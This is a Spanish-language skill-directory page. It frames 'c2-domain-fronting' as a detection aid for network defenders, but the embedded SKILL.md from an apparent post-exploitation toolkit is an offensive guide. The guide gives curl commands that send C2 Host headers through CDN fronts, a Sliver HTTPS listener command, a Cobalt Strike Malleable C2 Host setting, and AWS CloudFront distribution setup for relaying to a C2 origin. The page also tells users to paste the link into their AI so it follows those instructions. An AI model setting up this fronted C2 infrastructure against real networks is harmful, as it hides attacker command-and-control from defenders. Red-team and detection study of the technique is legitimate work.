Saltar al contenido
Skillpedia
Seguridad6,5 mil · #14128

c2-domain-fronting

Qué hace

Esta guía describe el domain fronting, un método en el que el tráfico parece dirigirse a una CDN muy conocida mientras se enruta a otro destino. Va dirigida a defensores de red que quieren detectar este patrón.

Cuándo usarla

  • ✓Cuando un equipo de red quiere comprobar si el tráfico a una CDN tiene nombres de host que no coinciden.
  • ✓Cuando un ejercicio autorizado simula tráfico oculto en una CDN para practicar la detección.
  • ✓Cuando un equipo de seguridad revisa si su proxy inspecciona el tráfico cifrado de las CDN.

Link de la skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2-domain-fronting/SKILL.md

Cópialo y pégalo en tu IA (Claude, ChatGPT o Cursor) pidiéndole que siga las instrucciones.

Cómo usar

La forma más fácil: copia el mensaje y pégalo en tu IA. Ella lee la skill y sigue las instrucciones.

Mensaje listo para pegar

Usa esta skill para ayudarme: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2-domain-fronting/SKILL.md Lee el archivo SKILL.md de ese link y sigue sus instrucciones en mi tarea.
¿Quieres que tu IA encuentre skills como esta por sí sola?Instala el MCP gratis de Skillpedia: una línea, y busca entre 15.000+ skills antes de cada tarea.Instalar en 1 minuto →

Ejemplo de qué pedirle a la IA

“¿Nuestro proxy puede detectar tráfico que dice ir a una CDN importante pero tiene un nombre de host que no coincide? Por favor, ayúdame a comprobarlo.”

5 skills nuevas por semana. 1 minuto de lectura.

Cómo funciona

El agente revisa los registros del proxy y del DNS en busca de nombres de servidor y cabeceras de host que no coinciden, y sugiere reglas de detección para esa diferencia.

Contenido técnico (SKILL.md original)

Texto original del autor, en inglés, directo de GitHub.

Domain Fronting & CDN Abuse for C2

Domain fronting exploits the discrepancy between the TLS SNI field and the HTTP Host header when traffic passes through a CDN. The network-level observer sees a connection to a legitimate, high-reputation domain (e.g., cdn.microsoft.com) while the CDN routes the request to the operator's origin based on the inner Host header. This makes blocking the C2 equivalent to blocking the entire CDN.

Quick Reference

# Test domain fronting via CloudFront
curl -s -H "Host: <C2_DISTRIBUTION>.cloudfront.net" https://allowed.cloudfront.net/search

# Test Azure CDN fronting
curl -s -H "Host: <C2_ENDPOINT>.azureedge.net" https://ajax.aspnetcdn.com/test

# Sliver HTTPS listener with domain fronting
https --lhost 0.0.0.0 --lport 443 --domain <C2_ORIGIN>

# Cobalt Strike — set in Malleable C2 profile
# header "Host" "<C2_DISTRIBUTION>.cloudfront.net";

MITRE ATT&CK Mapping

Technique ID Usage in Skill
Proxy: Domain Fronting T1090.004 CDN-based SNI/Host header mismatch for C2
Web Service: Bidirectional Communication T1102.002 CDN edge as bidirectional C2 relay
Data Obfuscation T1001 C2 traffic disguised as CDN content requests

1. The Domain Fronting Technique

How It Works

┌─────────┐    TLS SNI: allowed.example.com    ┌──────────┐
│ Implant │ ─────────────────────────────────►  │   CDN    │
│         │    Host: c2.attacker.cloudfront.net  │  Edge    │
└─────────┘                                     └────┬─────┘
                                                     │ Routes by Host header
                                                     ▼
                                               ┌──────────┐
                                               │ C2 Origin│
                                               │  Server  │
                                               └──────────┘

TLS layer (visible to network monitor):

  • SNI = allowed.example.com (high-reputation domain on same CDN)
  • Certificate = CDN wildcard cert (e.g., *.cloudfront.net)
  • IP = CDN edge node

HTTP layer (inside TLS, invisible to monitor):

  • Host: c2-distribution.cloudfront.net → CDN routes to operator's origin

Result: Blocking the C2 requires blocking the entire CDN.

Requirements

  1. CDN that routes by Host header (not all do — see provider matrix)
  2. A legitimate high-reputation domain on the same CDN for the SNI
  3. Operator's C2 server registered as a CDN origin/backend
  4. The CDN must not enforce SNI == Host (many now do)

2. CloudFront Domain Fronting

Setup

# 1. Create CloudFront distribution pointing to C2 origin
aws cloudfront create-distribution \
  --origin-domain-name <C2_ORIGIN_IP_OR_DOMAIN> \
  --default-root-object index.html \
  --query 'Distribution.DomainName'
# Returns: d1234abcdef.cloudfront.net

# 2. Find a frontable domain (legitimate site on CloudFront)
# Use: dig <CANDIDATE_DOMAIN> — look for CNAME to *.cloudfront.net
dig allowed-domain.com CNAME +short
# Output: d9876xyz.cloudfront.net. → same CDN, usable as front

# 3. Test fronting
curl -v -H "Host: d1234abcdef.cloudfront.net" \
  https://allowed-domain.com/beacon

# Successful: HTTP 200 from your C2 origin
# Failed: HTTP 403 "The request could not be satisfied" — front domain not viable

CloudFront Configuration

# Create distribution via JSON config
cat > /workspace/c2/cloudfront-config.json << 'EOF'
{
  "CallerReference": "c2-$(date +%s)",
  "Origins": {
    "Items": [{
      "Id": "c2-origin",
      "DomainName": "<C2_ORIGIN>",
      "CustomOriginConfig": {
        "HTTPPort": 80,
        "HTTPSPort": 443,
        "OriginProtocolPolicy": "https-only"
      }
    }],
    "Quantity": 1
  },
  "DefaultCacheBehavior": {
    "TargetOriginId": "c2-origin",
    "ViewerProtocolPolicy": "https-only",
    "AllowedMethods": {
      "Items": ["GET", "HEAD", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"],
      "Quantity": 7
    },
    "ForwardedValues": {
      "QueryString": true,
      "Cookies": {"Forward": "all"},
      "Headers": {"Items": ["*"], "Quantity": 1}
    },
    "MinTTL": 0, "DefaultTTL": 0, "MaxTTL": 0
  },
  "Enabled": true,
  "Comment": ""
}
EOF

aws cloudfront create-distribution --distribution-config file:///workspace/c2/cloudfront-config.json

Current Status (CloudFront)

AWS partially mitigated domain fronting in 2018. CloudFront now validates that the Host header matches a con

Preguntas frecuentes

¿Qué es el domain fronting?

Es cuando el nombre de servidor visible es distinto del nombre dentro de la solicitud, de modo que el tráfico puede enrutarse a través de una CDN de confianza.

¿Por qué es difícil de bloquear?

Bloquearlo puede significar bloquear toda la CDN, de la que dependen muchos servicios.

¿Qué deben buscar los defensores?

Nombres de servidor y cabeceras de host que no coinciden en los registros de tráfico cifrado.

Detalles

Descripción original del autor

Domain fronting and CDN abuse for C2 concealment — CloudFront, Azure CDN, Fastly setup, TLS SNI vs Host header technique, CDN-based redirectors, and integration with Cobalt Strike and Sliver.

repo: BitterSecurity/Decepticon

Popularidad

Estrellas en GitHub
6,5 mil
Posición en el ranking
#14128
Licencia
Apache-2.0
Actualizada
1/11/2026

¿Te sirve esta skill?

0

Entra para votar.

Comentarios

  • …

Más skills de este repositorio

Skills parecidas